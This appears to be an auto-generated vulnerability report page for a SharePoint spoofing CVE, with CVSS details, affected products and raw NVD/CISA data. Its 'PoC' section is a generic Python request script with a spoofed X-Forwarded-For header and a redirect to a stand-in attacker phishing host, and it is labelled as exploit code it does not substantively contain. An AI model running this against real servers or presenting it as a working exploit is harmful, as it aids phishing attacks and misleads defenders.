Security Vulnerability Report
中文
CVE-2026-32201 CVSS 6.5 MEDIUM

CVE-2026-32201

Published: 2026-04-14 18:17:27
Last Modified: 2026-04-14 19:37:08

Description

Improper input validation in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:* - VULNERABLE
Microsoft Office SharePoint (具体受影响版本请参考微软安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-32201 PoC Concept (Spoofing) # This script demonstrates how a malformed request might be sent to trigger the spoofing vulnerability. # Note: This is a conceptual example for educational purposes. target_url = "http://target-sharepoint-site/vulnerable_endpoint" # Malicious headers or payload designed to bypass input validation headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", "X-Forwarded-For": "192.168.1.100" # Spoofing internal IP if validation is weak } payload = { "input_data": "<malicious_input_payload>", "redirect_url": "http://attacker-controlled-site/phishing" } try: response = requests.post(target_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if spoofing occurred.") print("[+] Response Content:") print(response.text[:200]) # Print first 200 chars of response else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32201", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:27.160", "lastModified": "2026-04-14T19:37:08.297", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "cisaExploitAdd": "2026-04-14", "cisaActionDue": "2026-04-28", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Microsoft SharePoint Server Improper Input Validation Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19725.20210", "matchCriteriaId": "5CA92EAC-72F0-43F4-A8E0-FA40C57AEF01"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-32201", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}